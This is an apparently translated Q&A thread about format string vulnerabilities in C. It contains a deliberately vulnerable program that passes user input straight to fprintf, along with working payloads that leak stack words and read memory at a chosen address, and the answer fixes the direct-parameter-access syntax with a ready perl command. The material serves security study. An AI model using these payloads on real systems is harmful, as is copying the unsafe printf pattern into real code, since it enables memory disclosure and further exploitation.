使用C中的printf,直接参数访问无法正常工作

时间:2011-08-18 19:52:49

标签: c string security format

我正在做一些计算机安全研究,我正在尝试了解字符串格式的漏洞。我正在运行包含此代码的程序:

char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);

当我向程序提供参数“%08x。%08x。%08x。%08x。%08x”(它被读入“数据”变量)时,我得到输出: 00000020.b7fd7560.08048b09.00000019.78383025

据我所知,每个十六进制数都从堆栈中弹出,“78383025”来自缓冲区本身。所以有4个字--16个字节 - 在我到达缓冲区的开始之前我必须弹出。

当我给出参数`perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`时,%s部分打印位于内存地址0xbffff92a的字符串。

现在,我想使用直接参数访问来执行此操作。如果我向程序提供参数`perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`,我应该期望程序执行与上面相同的操作。但是所有程序打印都是缓冲区开头的四个字符。那么,是什么给了???我使用错误的语法DPA ??? 我顺便使用Ubuntu 9.04,32位。

以下是一些可编译的代码,但不保证会产生相同的结果:

#include <stdio.h>

void run(const char* data) {
    char buf[1<<5];
    strncpy(buf, data, sizeof(buf));
    buf[sizeof(buf) - 1] = '\0';
    fprintf(stderr, buf);
}

int main(int argc, char* argv[]) {
    run(argv[1]);
    return 0;
}

1 个答案:

答案 0 :(得分:4)

%16$s是指格式字符串后面的第16个参数,并告诉printf将其解释为char*并将其显示为字符串。

在获取字符串之前,您似乎使用它作为跳过16个字节的方法,这不完全相同。

由于您需要第5个参数,请尝试更类似于此格式字符串的内容:

"\x2a\xf9\xff\xbf%5$s"

由于您使用perl -e 'print "...";'传递数据,因此您必须转义$字符。 IE浏览器。 :

./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`